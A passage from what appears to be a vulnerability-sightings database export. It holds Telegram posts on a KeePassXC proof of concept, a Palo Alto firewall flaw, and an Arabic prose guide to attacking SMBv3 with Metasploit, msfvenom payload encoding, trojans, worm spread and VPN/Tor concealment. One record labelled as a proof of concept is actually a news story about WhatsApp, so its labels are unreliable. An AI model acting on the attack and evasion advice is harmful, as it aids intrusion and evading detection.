KeePassXC version 2.7.7\nURL\uff1ahttps://github.com/gmikisilva/CVE-2024-33901-ProofOfConcept\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-11-24T05:49:33.000000Z"}, {"uuid": "01daabff-bef5-455e-a901-eb80ce3544aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "exploited", "source": "https://t.me/cyberbannews_ir/15160", "content": "\ud83e\ude99 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u0634\u062f\u0646 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627\u06cc \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u067e\u0627\u0644\u0648 \u0622\u0644\u062a\u0648\n\n\ud83d\udd3a\u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u067e\u0627\u0644\u0648 \u0622\u0644\u062a\u0648 (Palo Alto Networks) \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0647\u06a9\u0631\u0647\u0627 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u0639 \u0633\u0631\u0648\u06cc\u0633 \u00abCVE-2024-3393\u00bb \u0628\u0631\u0627\u06cc \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0645\u062d\u0627\u0641\u0638\u062a\u200c\u0647\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0627 \u0648\u0627\u062f\u0627\u0631 \u06a9\u0631\u062f\u0646 \u0622\u0646 \u0628\u0647 \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f\u060c \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0646\u062f.\n\n\ud83d\udd3b\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06a9\u0631\u0631 \u0627\u0632 \u0645\u0634\u06a9\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u062f\u0633\u062a\u06af\u0627\u0647 \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0639\u0645\u06cc\u0631 \u0648 \u0646\u06af\u0647\u062f\u0627\u0631\u06cc \u0634\u0648\u062f \u0648 \u0628\u0631\u0627\u06cc \u0628\u0627\u0632\u06af\u0631\u062f\u0627\u0646\u062f\u0646 \u0622\u0646 \u0628\u0647 \u062d\u0627\u0644\u062a \u0639\u0627\u062f\u06cc \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0645\u062f\u0627\u062e\u0644\u0647 \u062f\u0633\u062a\u06cc \u0627\u0633\u062a.\n\n\u2764\ufe0f \u06af\u0632\u0627\u0631\u0634 \u06a9\u0627\u0645\u0644\n\n#\u0627\u0645\u0646\u06cc\u062a_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u062a\u0647\u062f\u06cc\u062f_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc #\u067e\u0627\u0644\u0648_\u0622\u0644\u062a\u0648\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83d\udd39\ud83d\udd39 @cyberbannews_ir", "creation_timestamp": "2024-12-28T13:00:38.000000Z"}, {"uuid": "2d520f7b-8c6c-4312-a64a-5f06aabd0211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/cyber_hsecurity/3542", "content": "CVE-2024-33352 \u0647\u0648 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMBv3 \u0648\u062f\u064a \u0628\u062a\u0623\u062b\u0631 \u0639\u0644\u0649 \u0643\u0644 \u0623\u0646\u0638\u0645\u0629 \u0627\u0644\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0644\u064a \u0628\u062a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u062f\u0647 \u0632\u064a Windows \u0648\u0628\u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0646\u0641\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0646 \u0628\u064f\u0639\u062f \u0648\u064a\u0633\u064a\u0637\u0631 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641. \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0647\u064a \u0639\u0646 \u0637\u0631\u064a\u0642 \u0625\u0631\u0633\u0627\u0644 \u062d\u0632\u0645 \u0628\u064a\u0627\u0646\u0627\u062a \u0645\u0639\u064a\u0646\u0629 \u062a\u0645 \u062a\u0643\u0648\u064a\u0646\u0647\u0627 \u0628\u0634\u0643\u0644 \u062e\u0627\u0635 \u0644\u0644\u0633\u064a\u0631\u0641\u0631 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0627\u0644\u0644\u064a \u0628\u064a\u0634\u063a\u0644 \u062e\u062f\u0645\u0629 SMB \u0648\u0628\u064a\u0643\u0648\u0646 \u0627\u0644\u0647\u062f\u0641 \u0625\u0646 \u0627\u0644\u062d\u0632\u0645 \u062f\u064a \u062a\u062e\u0644\u064a \u0627\u0644\u0633\u064a\u0631\u0641\u0631 \u064a\u0642\u0631\u0623 \u0628\u064a\u0627\u0646\u0627\u062a \u063a\u064a\u0631 \u0635\u062d\u064a\u062d\u0629 \u0648\u064a\u0628\u062f\u0623 \u064a\u0646\u0641\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u062e\u0628\u064a\u062b\u0629.\n\n\u0639\u0644\u0634\u0627\u0646 \u062a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0641\u064a \u0647\u062c\u0648\u0645 \u0623\u0648 \u062a\u0636\u064a\u0641\u0647\u0627 \u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u062e\u0628\u064a\u062b\u0629 \u0632\u064a \u0627\u0644\u0645\u0627\u0644\u0648\u064a\u0631\u060c \u0623\u0648\u0644 \u062d\u0627\u062c\u0629 \u0644\u0627\u0632\u0645 \u062a\u0639\u0645\u0644\u0647\u0627 \u0647\u064a \u0625\u0646\u0643 \u062a\u062c\u0647\u0632 \u062d\u0632\u0645 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0627\u0644\u0644\u064a \u0628\u062a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u062f\u064a \u0628\u062a\u0643\u0648\u0646 \u0639\u0628\u0627\u0631\u0629 \u0639\u0646 \u0633\u0644\u0633\u0644\u0629 \u0645\u0646 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0648\u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0644\u064a \u0628\u062a\u062a\u0648\u0627\u0641\u0642 \u0645\u0639 \u0627\u0644\u0634\u0631\u0648\u0637 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0644\u0644\u062b\u063a\u0631\u0629 \u0644\u0627\u0632\u0645 \u062a\u062a\u0623\u0643\u062f \u0625\u0646 \u0627\u0644\u062d\u0632\u0645 \u062f\u064a \u0645\u0635\u0645\u0645\u0629 \u0628\u0637\u0631\u064a\u0642\u0629 \u062a\u062e\u0644\u064a \u0627\u0644\u0633\u064a\u0631\u0641\u0631 \u064a\u0642\u0631\u0623\u0647\u0627 \u0643\u0628\u064a\u0627\u0646\u0627\u062a \u0633\u0644\u064a\u0645\u0629 \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0648\u0628\u0639\u062f \u0643\u062f\u0647 \u064a\u0646\u0641\u0630 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0627\u0644\u0644\u064a \u0641\u064a\u0647\u0627 \u0641\u064a \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u062f\u064a \u0647\u0646\u0648\u0636\u062d \u0625\u0632\u0627\u064a \u062a\u0642\u062f\u0631 \u062a\u0646\u0641\u0630 \u0627\u0644\u0647\u062c\u0648\u0645 \u0628\u0634\u0643\u0644 \u0639\u0644\u0645\u064a \u0648\u062f\u0642\u064a\u0642.\n\n\u0623\u0648\u0644\u0627\u064b\u060c \u0647\u062a\u0628\u062f\u0623 \u0628\u062a\u062d\u0644\u064a\u0644 \u0643\u0648\u062f \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0645\u0648\u062c\u0648\u062f \u0639\u0644\u0649 GitHub \u0648\u062a\u0641\u0647\u0645 \u0643\u0648\u064a\u0633 \u0625\u0632\u0627\u064a \u0628\u064a\u0634\u062a\u063a\u0644 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062e\u0627\u0635 \u0628\u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u062d\u0632\u0645 \u0648\u0647\u0646\u0627 \u0644\u0627\u0632\u0645 \u062a\u0633\u062a\u062e\u062f\u0645 \u0623\u062f\u0648\u0627\u062a \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0632\u064a Wireshark \u0639\u0644\u0634\u0627\u0646 \u062a\u0631\u0627\u0642\u0628 \u062d\u0631\u0643\u0629 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0648\u062a\u0641\u0647\u0645 \u0625\u0632\u0627\u064a \u0627\u0644\u062d\u0632\u0645 \u0628\u062a\u062a\u0628\u0627\u062f\u0644 \u0628\u064a\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0648\u0627\u0644\u0633\u064a\u0631\u0641\u0631 \u0648\u062f\u0647 \u0647\u064a\u0633\u0627\u0639\u062f\u0643 \u062a\u0643\u062a\u0634\u0641 \u0627\u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u064a\u0641\u0629 \u0641\u064a \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644. \u0628\u0639\u062f \u0643\u062f\u0647 \u0647\u062a\u0628\u062f\u0623 \u0641\u064a \u0625\u0639\u062f\u0627\u062f \u0643\u0648\u062f \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u062e\u0627\u0635 \u0628\u064a\u0643 \u0639\u0644\u0634\u0627\u0646 \u062a\u0628\u0639\u062a \u0627\u0644\u062d\u0632\u0645 \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0644\u0644\u0633\u064a\u0631\u0641\u0631 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0648\u062f\u0647 \u0645\u0645\u0643\u0646 \u062a\u0639\u0645\u0644\u0647 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0644\u063a\u0627\u062a \u0628\u0631\u0645\u062c\u0629 \u0632\u064a Python \u0623\u0648 C++ \u0648\u062f\u064a \u0644\u063a\u0627\u062a \u0642\u0648\u064a\u0629 \u0648\u062a\u0642\u062f\u0631 \u062a\u0643\u062a\u0628 \u0628\u064a\u0647\u0627 \u0623\u0643\u0648\u0627\u062f \u0628\u062a\u0646\u0641\u0630 \u0623\u0648\u0627\u0645\u0631 \u0645\u0639\u0642\u062f\u0629.\n\n\u062b\u0627\u0646\u064a\u0627\u064b\u060c \u0644\u0627\u0632\u0645 \u062a\u062e\u062a\u0627\u0631 \u0627\u0644\u0647\u062f\u0641 \u0628\u062a\u0627\u0639\u0643 \u0628\u0639\u0646\u0627\u064a\u0629 \u0648\u062f\u0647 \u0628\u064a\u0643\u0648\u0646 \u0633\u064a\u0631\u0641\u0631 \u0628\u064a\u0634\u063a\u0644 \u062e\u062f\u0645\u0629 SMBv3 \u0648\u0639\u0644\u064a\u0647 \u0646\u0638\u0627\u0645 \u062a\u0634\u063a\u064a\u0644 \u0642\u0627\u0628\u0644 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0625\u0646\u0643 \u062a\u0643\u0648\u0646 \u0645\u062c\u0647\u0632 \u0628\u064a\u0626\u0629 \u0627\u062e\u062a\u0628\u0627\u0631 \u0622\u0645\u0646\u0629 \u0639\u0644\u0634\u0627\u0646 \u062a\u062c\u0631\u0628 \u0639\u0644\u064a\u0647\u0627 \u0627\u0644\u0647\u062c\u0648\u0645 \u0642\u0628\u0644 \u0645\u0627 \u062a\u0646\u0641\u0630\u0647 \u0641\u064a \u0627\u0644\u0628\u064a\u0626\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u0648\u062a\u0642\u062f\u0631 \u062a\u0633\u062a\u062e\u062f\u0645 \u0623\u062f\u0648\u0627\u062a \u0632\u064a Metasploit Framework \u0639\u0644\u0634\u0627\u0646 \u062a\u062e\u062a\u0628\u0631 \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u062a\u0639\u062f\u0644 \u0639\u0644\u0649 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0628\u062a\u0627\u0639\u062a\u0643 \u0648\u062a\u062a\u0627\u0643\u062f \u0625\u0646\u0647\u0627 \u0628\u062a\u0634\u062a\u063a\u0644 \u0628\u0634\u0643\u0644 \u0635\u062d\u064a\u062d.\n\n\u062b\u0627\u0644\u062b\u0627\u064b\u060c \u0644\u0627\u0632\u0645 \u062a\u0636\u064a\u0641 \u0628\u0639\u0636 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u0625\u0636\u0627\u0641\u064a\u0629 \u0644\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u062f\u0647 \u0628\u064a\u0634\u0645\u0644 \u062a\u0634\u0641\u064a\u0631 \u0627\u0644\u062d\u0632\u0645 \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0628\u0637\u0631\u064a\u0642\u0629 \u062a\u062e\u0644\u064a \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u0627 \u0623\u0635\u0639\u0628 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0623\u062f\u0648\u0627\u062a \u0632\u064a Msfvenom \u0645\u0645\u0643\u0646 \u062a\u0636\u064a\u0641 \u0623\u0643\u0648\u0627\u062f \u062a\u0634\u0641\u064a\u0631 \u0644\u0644\u0623\u0648\u0627\u0645\u0631 \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0639\u0644\u0634\u0627\u0646 \u062a\u0639\u062f\u064a \u0645\u0646 \u0623\u0646\u0638\u0645\u0629 \u0627\u0644\u062d\u0645\u0627\u064a\u0629.\n\n\u0645\u0646 \u0636\u0645\u0646 \u0627\u0644\u062a\u062d\u0633\u064a\u0646\u0627\u062a \u0627\u0644\u0645\u0645\u0643\u0646\u0629 \u0647\u064a \u0625\u0646\u0643 \u062a\u062f\u0645\u062c \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0641\u064a \u0645\u0627\u0644\u0648\u064a\u0631 \u0623\u0643\u0628\u0631 \u064a\u0639\u0646\u064a \u0645\u062b\u0644\u0627\u064b \u062a\u0642\u062f\u0631 \u062a\u0639\u0645\u0644 \u062d\u0635\u0627\u0646 \u0637\u0631\u0648\u0627\u062f\u0629 (Trojan Horse) \u0628\u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0639\u0644\u0634\u0627\u0646 \u064a\u062f\u062e\u0644 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u0628\u0639\u062f \u0643\u062f\u0647 \u064a\u0646\u0641\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u062e\u0628\u064a\u062b\u0629 \u0632\u064a \u0633\u0631\u0642\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0623\u0648 \u062a\u062f\u0645\u064a\u0631 \u0645\u0644\u0641\u0627\u062a \u0623\u0648 \u062d\u062a\u0649 \u062a\u062d\u0645\u064a\u0644 \u0645\u0627\u0644\u0648\u064a\u0631 \u0625\u0636\u0627\u0641\u064a. \u0648\u0623\u062e\u064a\u0631\u0627\u064b \u0644\u0627\u0632\u0645 \u062a\u0643\u0648\u0646 \u062d\u0631\u064a\u0635 \u062c\u062f\u0627\u064b \u0648\u062a\u0627\u062e\u062f \u0643\u0644 \u0627\u062d\u062a\u064a\u0627\u0637\u0627\u062a\u0643 \u0639\u0644\u0634\u0627\u0646 \u0645\u062a\u062a\u0639\u0631\u0636\u0634 \u0644\u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0623\u0648 \u0627\u0644\u062a\u0639\u0642\u0628 \u064a\u0639\u0646\u064a \u0644\u0627\u0632\u0645 \u062a\u0633\u062a\u062e\u062f\u0645 \u0634\u0628\u0643\u0629 \u0648\u0647\u0645\u064a\u0629 (VPN) \u0648\u062a\u063a\u064a\u0631 \u0645\u0648\u0642\u0639\u0643 \u0628\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0648\u062a\u0633\u062a\u062e\u062f\u0645 \u0623\u062f\u0648\u0627\u062a \u0625\u062e\u0641\u0627\u0621 \u0627\u0644\u0647\u0648\u064a\u0629 \u0632\u064a Tor.\n\n\u0644\u0627\u0632\u0645 \u062a\u0639\u0631\u0641 \u0625\u0646 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u062e\u0637\u064a\u0631\u0629 \u062c\u062f\u0627\u064b \u0648\u0644\u0648 \u062a\u0645 \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0628\u0634\u0643\u0644 \u0635\u062d\u064a\u062d \u0645\u0645\u0643\u0646 \u062a\u0633\u0628\u0628 \u0623\u0636\u0631\u0627\u0631 \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u0627\u064b \u0644\u0623\u064a \u0646\u0638\u0627\u0645 \u0639\u0644\u0634\u0627\u0646 \u0643\u062f\u0647 \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0628\u062a\u0646\u0635\u062d \u0628\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0628\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0648\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0628\u0627\u062a\u0634\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0644\u064a \u0628\u062a\u0646\u0632\u0644\u0647\u0627 \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0639\u0644\u0634\u0627\u0646 \u062a\u0642\u0641\u0644 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u062f\u064a \u0648\u0643\u0645\u0627\u0646 \u0644\u0627\u0632\u0645 \u062a\u0643\u0648\u0646 \u0639\u0644\u0649 \u062f\u0631\u0627\u064a\u0629 \u062a\u0627\u0645\u0629 \u0628\u0643\u0644 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0644\u064a \u0628\u062a\u0637\u0628\u0642\u0647\u0627 \u0639\u0644\u0634\u0627\u0646 \u062a\u062d\u0645\u064a \u0646\u0641\u0633\u0643 \u0648\u0623\u062c\u0647\u0632\u062a\u0643 \u0645\u0646 \u0623\u064a \u0647\u062c\u0648\u0645 \u0645\u0645\u0643\u0646.\n\n\u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0628\u062a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0646\u0641\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0646 \u0628\u0639\u062f \u0648\u064a\u0633\u064a\u0637\u0631 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0645\u0645\u0643\u0646 \u064a\u0633\u062a\u062e\u062f\u0645\u0647\u0627 \u0641\u064a \u062a\u0646\u0641\u064a\u0630 \u0647\u062c\u0645\u0627\u062a \u0645\u062a\u0646\u0648\u0639\u0629 \u0632\u064a \u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0623\u0648 \u062d\u062a\u0649 \u062a\u0648\u062c\u064a\u0647 \u0647\u062c\u0645\u0627\u062a DDoS \u0628\u0634\u0643\u0644 \u0641\u0639\u0627\u0644 \u062c\u062f\u0627\u064b. \u0648\u0644\u0648 \u0643\u0646\u062a \u0639\u0627\u0648\u0632 \u062a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0641\u064a \u0645\u0627\u0644\u0648\u064a\u0631 \u0645\u0645\u0643\u0646 \u062a\u062f\u0645\u062c\u0647\u0627 \u0641\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u062e\u0628\u064a\u062b \u064a\u0642\u0648\u0645 \u0628\u0646\u0634\u0631 \u0646\u0641\u0633\u0647 \u0639\u0628\u0631 \u0627\u0644\u0634\u0628\u0643\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMBv3 \u0648\u062f\u0647 \u0647\u064a\u062e\u0644\u064a \u0627\u0644\u0645\u0627\u0644\u0648\u064a\u0631 \u064a\u0646\u062a\u0634\u0631 \u0628\u0633\u0631\u0639\u0629 \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u0627\u064b \u0628\u064a\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0644\u064a \u0634\u063a\u0627\u0644\u0629 \u0639\u0644\u0649 \u0646\u0641\u0633 \u0627\u0644\u0634\u0628\u0643\u0629 \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u062a\u0632\u0648\u062f \u0641\u0631\u0635 \u0646\u062c\u0627\u062d \u0627\u0644\u0647\u062c\u0648\u0645 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631.", "creation_timestamp": "2025-03-21T12:03:59.000000Z"}, {"uuid": "20dfd601-d1e6-4bf1-929e-4d6c623f6efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/cyber_hsecurity/1610", "content": "(Photo by Tayfun Coskun/Anadolu via Getty Images)\n\u062d\u0634\u0648\u062f \u062e\u0627\u0631\u062c \u0645\u0642\u0631 \u0645\u064a\u062a\u0627 (\u0641\u064a\u0633\u0628\u0648\u0643) \u0644\u0644\u0627\u062d\u062a\u062c\u0627\u062c \u0639\u0644\u0649 \u0631\u0642\u0627\u0628\u0629 \u0645\u0627\u0631\u0643 \u0632\u0648\u0643\u0631\u0628\u064a\u0631\u063a \u0648\u0645\u064a\u062a\u0627 \u0639\u0644\u0649 \u0645\u0646\u0634\u0648\u0631\u0627\u062a \u0641\u0644\u0633\u0637\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0645\u0646\u0635\u0627\u062a \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629 \u0641\u064a \u0645\u064a\u0646\u0644\u0648 \u0628\u0627\u0631\u0643\u060c \u0643\u0627\u0644\u064a\u0641\u0648\u0631\u0646\u064a\u0627 (\u0627\u0644\u0623\u0646\u0627\u0636\u0648\u0644)\n23/5/2024-\u0622\u062e\u0631 \u062a\u062d\u062f\u064a\u062b: 23/5/202403:28 \u0645 (\u0628\u062a\u0648\u0642\u064a\u062a \u0645\u0643\u0629 \u0627\u0644\u0645\u0643\u0631\u0645\u0629)\n\u0646\u0628\u0647 \u0645\u0648\u0642\u0639 \u0625\u0646\u062a\u0631\u0633\u0628\u062a \u0627\u0644\u0623\u0645\u064a\u0631\u0643\u064a \u0625\u0644\u0649 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0645\u062c\u0647\u0648\u0644\u0629 \u0628\u062a\u0637\u0628\u064a\u0642 \u0648\u0627\u062a\u0633\u0627\u0628 \u062a\u0645\u0643\u0646 \u0627\u0644\u062d\u0643\u0648\u0645\u0627\u062a \u0645\u0646 \u0645\u0639\u0631\u0641\u0629 \u0645\u0646 \u062a\u0631\u0627\u0633\u0644\u0647\u060c \u0648\u062d\u0630\u0631 \u0627\u0644\u0645\u0647\u0646\u062f\u0633\u0648\u0646 \u0641\u064a \u0634\u0631\u0643\u0629 \u0645\u064a\u062a\u0627 (\u0641\u064a\u0633\u0628\u0648\u0643) \u0645\u0646 \u0623\u0646 \u0627\u0644\u062f\u0648\u0644 \u064a\u0645\u0643\u0646\u0647\u0627 \u0645\u0631\u0627\u0642\u0628\u0629 \u0627\u0644\u062f\u0631\u062f\u0634\u0627\u062a\u060c \u0648\u064a\u062e\u0634\u0649 \u0627\u0644\u0645\u0648\u0638\u0641\u0648\u0646 \u0623\u0646 \u062a\u0633\u062a\u063a\u0644 \u0625\u0633\u0631\u0627\u0626\u064a\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0644\u0627\u0646\u062a\u0642\u0627\u0621 \u0623\u0647\u062f\u0627\u0641 \u0627\u0644\u0627\u063a\u062a\u064a\u0627\u0644 \u0641\u064a \u063a\u0632\u0629.\n\n\u0648\u0630\u0643\u0631 \u0627\u0644\u0645\u0648\u0642\u0639 \u0623\u0646\u0647 \u0641\u064a \u0634\u0647\u0631 \u0645\u0627\u0631\u0633/\u0622\u0630\u0627\u0631\u060c \u0623\u0635\u062f\u0631 \u0641\u0631\u064a\u0642 \u0623\u0645\u0646 \u0648\u0627\u062a\u0633\u0627\u0628 \u062a\u062d\u0630\u064a\u0631\u0627 \u062f\u0627\u062e\u0644\u064a\u0627 \u0644\u0632\u0645\u0644\u0627\u0626\u0647 \u0628\u0623\u0646\u0647 \u0631\u063a\u0645 \u0627\u0644\u062a\u0634\u0641\u064a\u0631 \u0627\u0644\u0642\u0648\u064a \u0644\u0644\u0628\u0631\u0646\u0627\u0645\u062c\u060c \u0641\u0642\u062f \u0638\u0644 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0648\u0646 \u0639\u0631\u0636\u0629 \u0644\u0634\u0643\u0644 \u062e\u0637\u064a\u0631 \u0645\u0646 \u0623\u0634\u0643\u0627\u0644 \u0627\u0644\u0645\u0631\u0627\u0642\u0628\u0629 \u0627\u0644\u062d\u0643\u0648\u0645\u064a\u0629.\n\n\u0648\u0648\u0641\u0642\u0627 \u0644\u062a\u0642\u064a\u064a\u0645 \u0627\u0644\u062a\u0647\u062f\u064a\u062f \u0627\u0644\u0630\u064a \u0644\u0645 \u064a\u064f\u0628\u0644\u063a \u0639\u0646\u0647 \u0645\u0633\u0628\u0642\u0627\u060c \u0648\u062d\u0635\u0644 \u0639\u0644\u064a\u0647 \u0627\u0644\u0645\u0648\u0642\u0639\u060c \u0641\u0625\u0646 \u0645\u062d\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0645\u062d\u0627\u062f\u062b\u0627\u062a \u0628\u064a\u0646 \u0645\u0633\u062a\u062e\u062f\u0645\u064a \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0628\u0627\u0644\u063a \u0639\u062f\u062f\u0647\u0645 2 \u0645\u0644\u064a\u0627\u0631 \u0645\u0633\u062a\u062e\u062f\u0645 \u062a\u0638\u0644 \u0622\u0645\u0646\u0629\u060c \u0644\u0643\u0646 \u0627\u0644\u062f\u0648\u0627\u0626\u0631 \u0627\u0644\u062d\u0643\u0648\u0645\u064a\u0629\u060c \u0643\u0645\u0627 \u0643\u062a\u0628 \u0627\u0644\u0645\u0647\u0646\u062f\u0633\u0648\u0646\u060c \u0643\u0627\u0646\u062a \"\u062a\u062a\u062c\u0627\u0648\u0632 \u062a\u0634\u0641\u064a\u0631\u0646\u0627\" 